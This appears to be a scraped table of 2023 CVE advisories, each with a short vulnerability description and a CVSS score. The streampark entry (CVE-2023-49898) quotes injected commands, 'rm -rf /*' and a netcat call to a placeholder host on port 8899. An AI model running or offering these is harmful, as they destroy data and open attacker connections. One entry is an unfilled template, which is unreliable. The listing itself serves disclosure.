CVE-2023-45182	IBM i Access Client Solutions 1.1.2 through 1.1.4 and 1.1.4.3 through 1.1.9.3 is vulnerable to having its key for an encrypted password decoded. By somehow gaining access to the encrypted password, a local attacker could exploit this vulnerability to obtain the password to other systems. IBM X-Force ID: 268265.	7.4	More Details
CVE-2023-1514	A vulnerability exists in the component RTU500 Scripting interface. When a client connects to a server using TLS, the server presents a certificate. This certificate links a public key to the identity of the service and is signed by a Certification Authority (CA), allowing the client to validate that the remote service can be trusted and is not malicious. If the client does not validate the parameters of the certificate, then attackers could be able to spoof the identity of the service. An attacker could exploit the vulnerability by using faking the identity of a RTU500 device and intercepting the messages initiated via the RTU500 Scripting interface.	7.4	More Details
CVE-2023-48380	Softnext Mail SQR Expert is an email management platform, it has insufficient filtering for a special character within a spcific function. A remote attacker authenticated as a localhost can exploit this vulnerability to perform command injection attacks, to execute arbitrary system command, manipulate system or disrupt service.	7.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6903	A vulnerability classified as critical has been found in Netentsec NS-ASG Application Security Gateway 6.3.1. This affects an unknown part of the file /admin/singlelogin.php?submit=1. The manipulation of the argument loginId leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248265 was assigned to this vulnerability.	7.3	More Details
CVE-2023-6849	A vulnerability was found in kalcaddle kodbox up to 1.48. It has been rated as critical. Affected by this issue is the function cover of the file plugins/fileThumb/app.php. The manipulation of the argument path leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.48.04 is able to address this issue. The patch is identified as 63a4d5708d210f119c24afd941d01a943e25334c. It is recommended to upgrade the affected component. VDB-248210 is the identifier assigned to this vulnerability.	7.3	More Details
CVE-2023-6901	A vulnerability, which was classified as critical, was found in codelyfe Stupid Simple CMS up to 1.2.3. This affects an unknown part of the file /terminal/handle-command.php of the component HTTP POST Request Handler. The manipulation of the argument command with the input whoami leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248259.	7.3	More Details
CVE-2023-6848	A vulnerability was found in kalcaddle kodbox up to 1.48. It has been declared as critical. Affected by this vulnerability is the function check of the file plugins/officeViewer/controller/libreOffice/index.class.php. The manipulation of the argument soffice leads to command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.48.04 is able to address this issue. The identifier of the patch is 63a4d5708d210f119c24afd941d01a943e25334c. It is recommended to upgrade the affected component. The identifier VDB-248209 was assigned to this vulnerability.	7.3	More Details
CVE-2023-43586	Path traversal in Zoom Desktop Client for Windows, Zoom VDI Client for Windows, and Zoom SDKs for Windows may allow an authenticated user to conduct an escalation of privilege via network access.	7.3	More Details
CVE-2023-36639	A use of externally-controlled format string in Fortinet FortiProxy versions 7.2.0 through 7.2.4, 7.0.0 through 7.0.10, FortiOS versions 7.4.0, 7.2.0 through 7.2.4, 7.0.0 through 7.0.11, 6.4.0 through 6.4.12, 6.2.0 through 6.2.15, 6.0.0 through 6.0.17, FortiPAM versions 1.0.0 through 1.0.3 allows attacker to execute unauthorized code or commands via specially crafted API requests.	7.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48702	Jellyfin is a system for managing and streaming media. Prior to version 10.8.13, the `/System/MediaEncoder/Path` endpoint executes an arbitrary file using `ProcessStartInfo` via the `ValidateVersion` function. A malicious administrator can setup a network share and supply a UNC path to `/System/MediaEncoder/Path` which points to an executable on the network share, causing Jellyfin server to run the executable in the local context. The endpoint was removed in version 10.8.13.	7.2	More Details
CVE-2023-49159	Server-Side Request Forgery (SSRF) vulnerability in Elegant Digital Solutions CommentLuv.This issue affects CommentLuv: from n/a through 3.0.4.	7.2	More Details
CVE-2023-6280	An XXE (XML External Entity) vulnerability has been detected in 52North WPS affecting versions prior to 4.0.0-beta.11. This vulnerability allows the use of external entities in its WebProcessingService servlet for an attacker to retrieve files by making HTTP requests to the internal network.	7.2	More Details
CVE-2023-48662	Dell vApp Manager, versions prior to 9.2.4.x contain a command injection vulnerability. A remote malicious user with high privileges could potentially exploit this vulnerability leading to the execution of arbitrary OS commands on the affected system.	7.2	More Details
CVE-2023-50271	A potential security vulnerability has been identified with HP-UX System Management Homepage (SMH). This vulnerability could be exploited locally or remotely to disclose information.	7.2	More Details
CVE-2023-48665	Dell vApp Manager, versions prior to 9.2.4.x contain a command injection vulnerability. A remote malicious user with high privileges could potentially exploit this vulnerability leading to the execution of arbitrary OS commands on the affected system.	7.2	More Details
CVE-2023-48664	Dell vApp Manager, versions prior to 9.2.4.x contain a command injection vulnerability. A remote malicious user with high privileges could potentially exploit this vulnerability leading to the execution of arbitrary OS commands on the affected system.	7.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48663	Dell vApp Manager, versions prior to 9.2.4.x contain a command injection vulnerability. A remote malicious user with high privileges could potentially exploit this vulnerability leading to the execution of arbitrary OS commands on the affected system.	7.2	More Details
CVE-2023-50011	PopojiCMS version 2.0.1 is vulnerable to remote command execution in the Meta Social field.	7.2	More Details
CVE-2023-48667	Dell PowerProtect DD, versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain an OS command injection vulnerability in administrator CLI. A remote high privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the application's underlying OS to bypass security restriction. Exploitation may lead to a system take over by an attacker.	7.2	More Details
CVE-2023-38126	Softing edgeAggregator Restore Configuration Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Softing edgeAggregator. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of backup zip files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this to execute code in the context of root. Was ZDI-CAN-20543.	7.2	More Details
CVE-2023-6826	The E2Pdf plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation on the 'import_action' function in versions up to, and including, 1.20.25. This makes it possible for authenticated attackers with a role that the administrator previously granted access to the plugin, to upload arbitrary files on the affected site's server which may make remote code execution possible.	7.2	More Details
CVE-2023-41719	A vulnerability exists on all versions of Ivanti Connect Secure below 22.6R2 where an attacker impersonating an administrator may craft a specific web request which may lead to remote code execution.	7.2	More Details
CVE-2023-6222	IThe Quttera Web Malware Scanner WordPress plugin before 3.4.2.1 does not validate user input used in a path, which could allow users with an admin role to perform path traversal attacks	7.2	More Details
CVE-2023-4724	The Export any WordPress data to XML/CSV WordPress plugin before 1.4.0, WP All Export Pro WordPress plugin before 1.8.6 does not validate and sanitise the `wp_query` parameter which allows an attacker to run arbitrary command on the remote server	7.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-5384	A flaw was found in Infinispan. When serializing the configuration for a cache to XML/JSON/YAML, which contains credentials (JDBC store with connection pooling, remote store), the credentials are returned in clear text as part of the configuration.	7.2	More Details
CVE-2023-46726	GLPI is a free asset and IT management software package. Starting in version 10.0.0 and prior to version 10.0.11, on PHP 7.4 only, the LDAP server configuration form can be used to execute arbitrary code previously uploaded as a GLPI document. Version 10.0.11 contains a patch for the issue.	7.2	More Details
CVE-2023-6295	The SiteOrigin Widgets Bundle WordPress plugin before 1.51.0 does not validate user input before using it to generate paths passed to include function/s, allowing users with the administrator role to perform LFI attacks in the context of Multisite WordPress sites.	7.2	More Details
CVE-2023-49898	In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &	7.2	More Details
CVE-2023-39509	A command injection vulnerability exists in Bosch IP cameras that allows an authenticated user with administrative rights to run arbitrary commands on the OS of the camera.	7.2	More Details
CVE-2023-48771	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bruno "Aesqe" Babic File Gallery allows Reflected XSS.This issue affects File Gallery: from n/a through 1.8.5.4.	7.1	More Details
CVE-2023-41673	An improper authorization vulnerability [CWE-285] in Fortinet FortiADC version 7.4.0 and before 7.2.2 may allow a low privileged user to read or backup the full system configuration via HTTP or HTTPS requests.	7.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49171	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in TheInnovs Innovs HR – Complete Human Resource Management System for Your Business allows Reflected XSS.This issue affects Innovs HR – Complete Human Resource Management System for Your Business: from n/a through 1.0.3.4.	7.1	More Details
CVE-2023-49172	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BrainCert BrainCert – HTML5 Virtual Classroom allows Reflected XSS.This issue affects BrainCert – HTML5 Virtual Classroom: from n/a through 1.30.	7.1	More Details
CVE-2023-49766	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themefic Ultimate Addons for Contact Form 7 allows Stored XSS.This issue affects Ultimate Addons for Contact Form 7: from n/a through 3.2.0.	7.1	More Details
CVE-2023-50376	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in smp7, wp.Insider Simple Membership allows Reflected XSS.This issue affects Simple Membership: from n/a through 4.3.8.	7.1	More Details
CVE-2023-48756	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetBlocks For Elementor allows Reflected XSS.This issue affects JetBlocks For Elementor: from n/a through 1.3.8.	7.1	More Details
CVE-2023-49771	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Peter Raschendorfer Smart External Link Click Monitor [Link Log] allows Reflected XSS.This issue affects Smart External Link Click Monitor [Link Log]: from n/a through 5.0.2.	7.1	More Details
CVE-2023-49170	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in captainform Forms by CaptainForm – Form Builder for WordPress allows Reflected XSS.This issue affects Forms by CaptainForm – Form Builder for WordPress: from n/a through 2.5.3.	7.1	More Details
CVE-2023-48767	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Raghu Goriya MyTube PlayList allows Reflected XSS.This issue affects MyTube PlayList: from n/a through 2.0.3.	7.1	More Details
CVE-2023-49813	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J.N. Breetvelt a.K.A. OpaJaap WP Photo Album Plus allows Stored XSS.This issue affects WP Photo Album Plus: from n/a through 8.5.02.005.	7.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49176	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodeRevolution WP Pocket URLs allows Reflected XSS.This issue affects WP Pocket URLs: from n/a through 1.0.2.	7.1	More Details
CVE-2023-49187	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Spoonthemes Adifier - Classified Ads WordPress Theme allows Reflected XSS.This issue affects Adifier - Classified Ads WordPress Theme: from n/a before 3.1.4.	7.1	More Details
CVE-2023-43585	Improper access control in Zoom Mobile App for iOS and Zoom SDKs for iOS before version 5.16.5 may allow an authenticated user to conduct a disclosure of information via network access.	7.1	More Details
CVE-2023-49178	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Mr. Hdwplayer HDW Player Plugin (Video Player & Video Gallery) allows Reflected XSS.This issue affects HDW Player Plugin (Video Player & Video Gallery): from n/a through 5.0.	7.1	More Details
CVE-2023-49827	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PenciDesign Soledad – Multipurpose, Newspaper, Blog & WooCommerce WordPress Theme allows Reflected XSS.This issue affects Soledad – Multipurpose, Newspaper, Blog & WooCommerce WordPress Theme: from n/a through 8.4.1.	7.1	More Details
CVE-2023-49182	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Fabio Marzocca List all posts by Authors, nested Categories and Titles allows Reflected XSS.This issue affects List all posts by Authors, nested Categories and Titles: from n/a through 2.7.10.	7.1	More Details
CVE-2023-49183	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NextScripts NextScripts: Social Networks Auto-Poster allows Reflected XSS.This issue affects NextScripts: Social Networks Auto-Poster: from n/a through 4.4.2.	7.1	More Details
CVE-2023-49740	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Seraphinite Solutions Seraphinite Accelerator allows Reflected XSS.This issue affects Seraphinite Accelerator: from n/a through 2.20.28.	7.1	More Details
CVE-2023-49739	[PROBLEMTYPE] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT] via [VECTOR]	7.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49177	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Gilles Dumas which template file allows Reflected XSS.This issue affects which template file: from n/a through 4.9.0.	7.1	More Details
CVE-2023-49185	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Doofinder Doofinder WP & WooCommerce Search allows Reflected XSS.This issue affects Doofinder WP & WooCommerce Search: from n/a through 2.1.7.	7.1	More Details
CVE-2023-48676	Sensitive information disclosure and manipulation due to missing authorization. The following products are affected: Acronis Cyber Protect Cloud Agent (Windows) before build 36943.	7.1	More Details
CVE-2022-45365	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Aleksandar Urošević Stock Ticker allows Reflected XSS.This issue affects Stock Ticker: from n/a through 3.23.2.	7.1	More Details
CVE-2023-47038	A vulnerability was found in perl 5.30.0 through 5.38.0. This issue occurs when a crafted regular expression is compiled by perl, which can allow an attacker controlled byte buffer overflow in a heap allocated buffer.	7.0	More Details
CVE-2023-5056	A flaw was found in the Skupper operator, which may permit a certain configuration to create a service account that would allow an authenticated attacker in the adjacent cluster to view deployments in all namespaces in the cluster. This issue permits unauthorized viewing of information outside of the user's purview.	6.8	More Details
CVE-2023-33221	When reading DesFire keys, the function that reads the card isn't properly checking the boundaries when copying internally the data received. This allows a heap based buffer overflow that could lead to a potential Remote Code Execution on the targeted device. This is especially problematic if you use Default DESFire key.	6.8	More Details
CVE-2023-6355	Incorrect selection of fuse values in the Controller 7000 platform allows an attacker to bypass some protection mechanisms to enable local debug. This issue affects: Gallagher Controller 7000 9.00 prior to vCR9.00.231204b (distributed in 9.00.1507 (MR1)), 8.90 prior to vCR8.90.231204a (distributed in 8.90.1620 (MR2)), 8.80 prior to vCR8.80.231204a (distributed in 8.80.1369 (MR3)), 8.70 prior to vCR8.70.231204a (distributed in 8.70.2375 (MR5)).	6.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49706	Defective request context handling in Self Service in LinOTP 3.x before 3.2.5 allows remote unauthenticated attackers to escalate privileges, thereby allowing them to act as and with the permissions of another user. Attackers must generate repeated API requests to trigger a race condition with concurrent user activity in the self-service portal.	6.8	More Details
CVE-2023-33222	When handling contactless cards, usage of a specific function to get additional information from the card which doesn't check the boundary on the data received while reading. This allows a stack-based buffer overflow that could lead to a potential Remote Code Execution on the targeted device	6.8	More Details
CVE-2023-32727	An attacker who has the privilege to configure Zabbix items can use function icmpping() with additional malicious command inside it to execute arbitrary code on the current Zabbix server.	6.8	More Details
CVE-2023-40716	An improper neutralization of special elements used in an OS command vulnerability [CWE-78] in the command line interpreter of FortiTester 2.3.0 through 7.2.3 may allow an authenticated attacker to execute unauthorized commands via specifically crafted arguments when running execute restore/backup .	6.7	More Details
CVE-2023-50770	Jenkins OpenId Connect Authentication Plugin 2.6 and earlier stores a password of a local user account used as an anti-lockout feature in a recoverable format, allowing attackers with access to the Jenkins controller file system to recover the plain text password of that account, likely gaining administrator access to Jenkins.	6.7	More Details
CVE-2023-44278	Dell PowerProtect DD , versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain a path traversal vulnerability. A local high privileged attacker could potentially exploit this vulnerability, to gain unauthorized read and write access to the OS files stored on the server filesystem, with the privileges of the running application.	6.7	More Details
CVE-2023-44279	Dell PowerProtect DD , versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain an OS command injection vulnerability in administrator CLI. A local high privileged attacker could potentially exploit this vulnerability, to bypass security restrictions. Exploitation may lead to a system take over by an attacker	6.7	More Details
CVE-2023-46154	Deserialization of Untrusted Data vulnerability in E2Pdf.Com E2Pdf – Export To Pdf Tool for WordPress.This issue affects E2Pdf – Export To Pdf Tool for WordPress: from n/a through 1.20.18.	6.6	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49820	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Gordon Böhme, Antonio Leutsch Structured Content (JSON-LD) #wpsc allows Stored XSS.This issue affects Structured Content (JSON-LD) #wpsc: from n/a through 1.5.3.	6.5	More Details
CVE-2023-49855	Cross-Site Request Forgery (CSRF) vulnerability in BinaryCarpenter Menu Bar Cart Icon For WooCommerce By Binary Carpenter.This issue affects Menu Bar Cart Icon For WooCommerce By Binary Carpenter: from n/a through 1.49.3.	6.5	More Details
CVE-2023-49168	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WordPlus Better Messages – Live Chat for WordPress, BuddyPress, PeepSo, Ultimate Member, BuddyBoss allows Stored XSS.This issue affects Better Messages – Live Chat for WordPress, BuddyPress, PeepSo, Ultimate Member, BuddyBoss: from n/a through 2.4.0.	6.5	More Details
CVE-2023-49160	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in formzu Inc. Formzu WP allows Stored XSS.This issue affects Formzu WP: from n/a through 1.6.6.	6.5	More Details
CVE-2023-50713	Speckle Server provides server, frontend, 3D viewer, and other JavaScript utilities for the Speckle 3D data platform. A vulnerability in versions prior to 2.17.6 affects users who: authorized an application which requested a 'token write' scope or, using frontend-2, created a Personal Access Token (PAT) with `token write` scope. When creating a new token an agent needs to authorise the request with an existing token (the 'requesting token'). The requesting token is required to have token write scope in order to generate new tokens. However, Speckle server was not verifying that other privileges granted to the new token were not in excess of the privileges of the requesting token. A malicious actor could use a token with only token write scope to subsequently generate further tokens with additional privileges. These privileges would only grant privileges up to the existing privileges of the user. This vulnerability cannot be used to escalate a user's privileges or grant privileges on behalf of other users. This has been patched as of version 2.17.6. All operators of Speckle servers should upgrade their server to version 2.17.6 or higher. Any users who authorized an application with 'token write' scope, or created a token in frontend-2 with `token write` scope should review existing tokens and permanently revoke any they do not recognize, revoke existing tokens and create new tokens, and review usage of their account for suspicious activity. No known workarounds for this issue exist.	6.5	More Details
CVE-2023-6872	Browser tab titles were being leaked by GNOME to system logs. This could potentially expose the browsing habits of users running in a private tab. This vulnerability affects Firefox < 121.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6869	A `&lt;dialog>` element could have been manipulated to paint content outside of a sandboxed iframe. This could allow untrusted content to display under the guise of trusted content. This vulnerability affects Firefox < 121.	6.5	More Details
CVE-2023-21751	Azure DevOps Server Spoofing Vulnerability	6.5	More Details
CVE-2023-50370	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Livemesh WPBakery Page Builder Addons by Livemesh allows Stored XSS.This issue affects WPBakery Page Builder Addons by Livemesh: from n/a through 3.5.	6.5	More Details
CVE-2023-49169	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in datafeedr.Com Ads by datafeedr.Com allows Stored XSS.This issue affects Ads by datafeedr.Com: from n/a through 1.2.0.	6.5	More Details
CVE-2023-50369	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Alma Alma – Pay in installments or later for WooCommerce allows Stored XSS.This issue affects Alma – Pay in installments or later for WooCommerce: from n/a through 5.1.3.	6.5	More Details
CVE-2023-50368	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Averta Shortcodes and extra features for Phlox theme allows Stored XSS.This issue affects Shortcodes and extra features for Phlox theme: from n/a through 2.15.2.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6660	When a program running on an affected system appends data to a file via an NFS client mount, the bug can cause the NFS client to fail to copy in the data to be written but proceed as though the copy operation had succeeded. This means that the data to be written is instead replaced with whatever data had been in the packet buffer previously. Thus, an unprivileged user with access to an affected system may abuse the bug to trigger disclosure of sensitive information. In particular, the leak is limited to data previously stored in mbufs, which are used for network transmission and reception, and for certain types of inter-process communication. The bug can also be triggered unintentionally by system applications, in which case the data written by the application to an NFS mount may be corrupted. Corrupted data is written over the network to the NFS server, and thus also susceptible to being snooped by other hosts on the network. Note that the bug exists only in the NFS client; the version and implementation of the server has no effect on whether a given system is affected by the problem.	6.5	More Details
CVE-2023-3628	A flaw was found in Infinispan's REST. Bulk read endpoints do not properly evaluate user permissions for the operation. This issue could allow an authenticated user to access information outside of their intended permissions.	6.5	More Details
CVE-2023-49847	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Twinpictures Annual Archive allows Stored XSS.This issue affects Annual Archive: from n/a through 1.6.0.	6.5	More Details
CVE-2023-49846	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Paul Bearne Author Avatars List/Block allows Stored XSS.This issue affects Author Avatars List/Block: from n/a through 2.1.17.	6.5	More Details
CVE-2023-48374	SmartStar Software CWS is a web-base integration platform, it has a vulnerability of using a hard-coded for a specific account with low privilege. An unauthenticated remote attacker can exploit this vulnerability to run partial processes and obtain partial information, but can't disrupt service or obtain sensitive information.	6.5	More Details
CVE-2023-46144	A download of code without integrity check vulnerability in PLCnext products allows an remote attacker with low privileges to compromise integrity on the affected engineering station and the connected devices.	6.5	More Details
CVE-2023-6570	Server-Side Request Forgery (SSRF) in kubeflow/kubeflow	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-46177	IBM MQ Appliance 9.3 LTS and 9.3 CD could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request to view arbitrary files on the system. IBM X-Force ID: 269536.	6.5	More Details
CVE-2023-6865	`EncryptingOutputStream` was susceptible to exposing uninitialized data. This issue could only be abused in order to write data to a local disk which may have implications for private browsing mode. This vulnerability affects Firefox ESR < 115.6 and Firefox < 121.	6.5	More Details
CVE-2023-6077	The Slider WordPress plugin before 3.5.12 does not ensure that posts to be accessed via an AJAX action are slides and can be viewed by the user making the request, allowing any authenticated users, such as subscriber to access the content arbitrary post such as private, draft and password protected	6.5	More Details
CVE-2023-6860	The `VideoBridge` allowed any content process to use textures produced by remote decoders. This could be abused to escape the sandbox. This vulnerability affects Firefox ESR < 115.6, Thunderbird < 115.6, and Firefox < 121.	6.5	More Details
CVE-2023-49179	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in N.O.U.S. Open Useful and Simple Event post allows Stored XSS.This issue affects Event post: from n/a through 5.8.6.	6.5	More Details
CVE-2023-49745	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Spiffy Plugins Spiffy Calendar allows Stored XSS.This issue affects Spiffy Calendar: from n/a through 4.9.5.	6.5	More Details
CVE-2023-48765	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Till Krüss Email Address Encoder allows Stored XSS.This issue affects Email Address Encoder: from n/a through 1.0.22.	6.5	More Details
CVE-2023-49828	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Automattic WooPayments – Fully Integrated Solution Built and Supported by Woo allows Stored XSS.This issue affects WooPayments – Fully Integrated Solution Built and Supported by Woo: from n/a through 6.4.2.	6.5	More Details
CVE-2023-50371	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Page Visit Counter Advanced Page Visit Counter – Most Wanted Analytics Plugin for WordPress allows Stored XSS.This issue affects Advanced Page Visit Counter – Most Wanted Analytics Plugin for WordPress: from n/a through 8.0.6.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49173	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 10to8 Sign In Scheduling Online Appointment Booking System allows Stored XSS.This issue affects Sign In Scheduling Online Appointment Booking System: from n/a through 1.0.9.	6.5	More Details
CVE-2023-5630	A CWE-494: Download of Code Without Integrity Check vulnerability exists that could allow a privileged user to install an untrusted firmware.	6.5	More Details
CVE-2023-46104	Uncontrolled resource consumption can be triggered by authenticated attacker that uploads a malicious ZIP to import database, dashboards or datasets. This vulnerability exists in Apache Superset versions up to and including 2.1.2 and versions 3.0.0, 3.0.1.	6.5	More Details
CVE-2023-49006	Cross Site Request Forgery (CSRF) vulnerability in Phpsysinfo version 3.4.3 allows a remote attacker to obtain sensitive information via a crafted page in the XML.php file.	6.5	More Details
CVE-2023-44991	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Jordy Meow Media File Renamer: Rename Files (Manual, Auto & AI).This issue affects Media File Renamer: Rename Files (Manual, Auto & AI): from n/a through 5.6.9.	6.5	More Details
CVE-2023-48395	Kaifa Technology WebITR is an online attendance system, it has insufficient validation for user input within a special function. A remote attacker with regular user privilege can exploit this vulnerability to inject arbitrary SQL commands to read database.	6.5	More Details
CVE-2023-25648	There is a weak folder permission vulnerability in ZTE's ZXCLOUD iRAI product. Due to weak folder permission, an attacker with ordinary user privileges could construct a fake DLL to execute command to escalate local privileges.	6.5	More Details
CVE-2023-49736	A where_in JINJA macro allows users to specify a quote, which combined with a carefully crafted statement would allow for SQL injection in Apache Superset.This issue affects Apache Superset: before 2.1.2, from 3.0.0 before 3.0.2. Users are recommended to upgrade to version 3.0.2, which fixes the issue.	6.5	More Details
CVE-2023-25650	There is an arbitrary file download vulnerability in ZXCLOUD iRAI. Since the backend does not escape special strings or restrict paths, an attacker with user permission could access the download interface by modifying the request parameter, causing arbitrary file downloads.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48382	Softnext Mail SQR Expert is an email management platform, it has a Local File Inclusion (LFI) vulnerability in a mail deliver-related URL. An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary PHP file with .asp file extension under specific system paths, to access and modify partial system information but does not affect service availability.	6.5	More Details
CVE-2023-48381	Softnext Mail SQR Expert is an email management platform, it has a Local File Inclusion (LFI) vulnerability in a special URL. An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary PHP file with .asp file extension under specific system paths, to access and modify partial system information but does not affect service availability.	6.5	More Details
CVE-2023-50709	Cube is a semantic layer for building data applications. Prior to version 0.34.34, it is possible to make the entire Cube API unavailable by submitting a specially crafted request to a Cube API endpoint. The issue has been patched in `v0.34.34` and it's recommended that all users exposing Cube APIs to the public internet upgrade to the latest version to prevent service disruption. There are currently no workaround for older versions, and the recommendation is to upgrade.	6.5	More Details
CVE-2023-43813	GLPI is a free asset and IT management software package. Starting in version 10.0.0 and prior to version 10.0.11, the saved search feature can be used to perform a SQL injection. Version 10.0.11 contains a patch for the issue.	6.5	More Details
CVE-2023-48770	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nima Saberi Aparat allows Stored XSS.This issue affects Aparat: from n/a through 1.7.1.	6.5	More Details
CVE-2023-48780	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in EnigmaWeb WP Catalogue allows Stored XSS.This issue affects WP Catalogue: from n/a through 1.7.6.	6.5	More Details
CVE-2023-49149	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CurrencyRate.Today Currency Converter Calculator allows Stored XSS.This issue affects Currency Converter Calculator: from n/a through 1.3.1.	6.5	More Details
CVE-2023-49150	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CurrencyRate.Today Crypto Converter Widget allows Stored XSS.This issue affects Crypto Converter Widget: from n/a through 1.8.1.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-25644	There is a denial of service vulnerability in some ZTE mobile internet products. Due to insufficient validation of Web interface parameter, an attacker could use the vulnerability to perform a denial of service attack.	6.5	More Details
CVE-2023-49860	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in weDevs WP Project Manager – Task, team, and project management plugin featuring kanban board and gantt charts allows Stored XSS.This issue affects WP Project Manager – Task, team, and project management plugin featuring kanban board and gantt charts: from n/a through 2.6.7.	6.5	More Details
CVE-2023-49823	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BoldThemes Bold Page Builder allows Stored XSS.This issue affects Bold Page Builder: from n/a through 4.6.1.	6.5	More Details
CVE-2023-49151	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Simple Calendar Simple Calendar – Google Calendar Plugin allows Stored XSS.This issue affects Simple Calendar – Google Calendar Plugin: from n/a through 3.2.6.	6.5	More Details
CVE-2023-49152	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Labs64 Credit Tracker allows Stored XSS.This issue affects Credit Tracker: from n/a through 1.1.17.	6.5	More Details
CVE-2023-49833	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force Spectra – WordPress Gutenberg Blocks allows Stored XSS.This issue affects Spectra – WordPress Gutenberg Blocks: from n/a through 2.7.9.	6.5	More Details
CVE-2023-51385	In ssh in OpenSSH before 9.6, OS command injection might occur if a user name or host name has shell metacharacters, and this name is referenced by an expansion token in certain situations. For example, an untrusted Git repository can have a submodule with shell metacharacters in a user name or host name.	6.5	More Details
